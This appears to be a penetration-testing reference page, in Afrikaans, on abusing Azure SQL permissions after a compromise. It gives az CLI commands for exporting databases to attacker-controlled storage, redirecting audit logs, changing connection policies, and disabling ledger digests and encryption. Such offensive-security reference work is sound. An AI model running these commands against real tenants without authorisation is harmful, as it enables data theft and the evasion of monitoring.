# Az - SQL Databasis Post Exploitatie

{{#include ../../../banners/hacktricks-training.md}}

## SQL Databasis Post Exploitatie

Vir meer inligting oor SQL Databasis, kyk:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`

Met hierdie toestemmings kan 'n aanvaller databasis skep en opdateer binne die gecompromitteerde omgewing. Hierdie post-exploitatie aktiwiteit kan 'n aanvaller in staat stel om kwaadwillige data by te voeg, databasis konfigurasies te wysig, of agterdeure in te voeg vir verdere volharding, wat moontlik operasies kan ontwrig of addisionele kwaadwillige aksies kan moontlik maak.
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
Met hierdie toestemmings (`Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`) kan jy 'n verwyderde databasis herstel:
```bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

```
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`

Met hierdie toestemmings kan 'n aanvaller elastiese poele binne die gecompromitteerde omgewing skep en opdateer. Hierdie post-exploitatie aktiwiteit kan 'n aanvaller in staat stel om kwaadwillige data by te voeg, databasis konfigurasies te wysig, of agterdeure in te voeg vir verdere volharding, wat moontlik operasies kan ontwrig of addisionele kwaadwillige aksies kan moontlik maak.
```bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
```
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`

Met hierdie toestemming kan jy ouditinstellings op 'n Azure SQL Server wysig of aktiveer. Dit kan 'n aanvaller of gemagtigde gebruiker in staat stel om ouditkonfigurasies te manipuleer, wat moontlik spore kan bedek of ouditlogs na 'n plek onder hul beheer kan herlei. Dit kan sekuriteitsmonitering hindern of dit in staat stel om die aksies op te volg. LET WEL: Om ouditering vir 'n Azure SQL Server met Blob Storage te aktiveer, moet jy 'n stoorrekening koppel waar die ouditlogs gestoor kan word.
```bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
```
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`

Met hierdie toestemming kan jy die verbintningsbeleide van 'n Azure SQL Server wysig. Hierdie vermoë kan benut word om bediener-vlak verbintningsinstellings in te skakel of te verander.
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### `Microsoft.Sql/servers/databases/export/action`

Met hierdie toestemming kan jy 'n databasis van 'n Azure SQL Server na 'n stoorrekening uitvoer. 'n Aanvaller of gemagtigde gebruiker met hierdie toestemming kan sensitiewe data uit die databasis onttrek deur dit na 'n plek wat hulle beheer, uit te voer, wat 'n beduidende data-oortredingsrisiko inhou. Dit is belangrik om die stoor sleutel te ken om dit te kan uitvoer.
```bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

```
### `Microsoft.Sql/servers/databases/import/action`

Met hierdie toestemming kan jy 'n databasis in 'n Azure SQL Server invoer. 'n Aanvaller of gemagtigde gebruiker met hierdie toestemming kan moontlik kwaadwillige of gemanipuleerde databasisse oplaai. Dit kan lei tot die verkryging van beheer oor sensitiewe data of deur skadelike skripte of triggers binne die ingevoerde databasis in te sluit. Boonop kan jy dit na jou eie bediener in Azure invoer. Let wel: Die bediener moet Azure-dienste en -hulpbronne toelaat om toegang tot die bediener te verkry.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
### `Microsoft.Sql/servers/connectionPolicies/write` && `Microsoft.Sql/servers/connectionPolicies/read`

Met hierdie toestemmings kan 'n gebruiker die verbintningsbeleide van 'n Azure SQL-bediener wysig en verkry. Hierdie toestemmings laat iemand toe om te verander hoe kliënte met die bediener verbind—om te kies tussen metodes soos omleiding of proxy—wat misbruik kan word om sekuriteit te verswak, verkeer om te lei, of sensitiewe data te onderskep as dit verkeerd geconfigureer is.
```bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
```
### `Microsoft.Sql/servers/keys/write` && `Microsoft.Sql/servers/keys/read`

Met hierdie toestemmings kan 'n gebruiker versleuteling sleutels wat met 'n Azure SQL Server geassosieer is, opdateer en terughaal. Hierdie sleutels word dikwels gebruik om sensitiewe data deur middel van versleuteling te beveilig, so om hulle te manipuleer kan datasekuriteit in gevaar stel deur ongeoorloofde ontsleuteling of sleutelrotasie veranderinge toe te laat.
```bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
```
### `Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action`, `Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read`, `Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read`

Hierdie toestemmings toelaat die deaktivering van Ledger Digest vir 'n Azure SQL-databasis, wat die periodieke opgradering van kriptografiese digestrekords na Azure Blob Storage stop wat die integriteit van data verifieer.
```bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
```
### `Microsoft.Sql/servers/databases/transparentDataEncryption/write`, `Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read`, `Microsoft.Sql/servers/databases/transparentDataEncryption/read`

Hierdie toestemming laat 'n gemagtigde gebruiker of aanvaller toe om Transparante Data-enkripsie (TDE) instellings op 'n Azure SQL-databasis in te skakel, te deaktiveer of te wysig, wat moontlik data-sekuriteit kan beïnvloed deur enkripsie-konfigurasies te verander.
```bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
```
{{#include ../../../banners/hacktricks-training.md}}
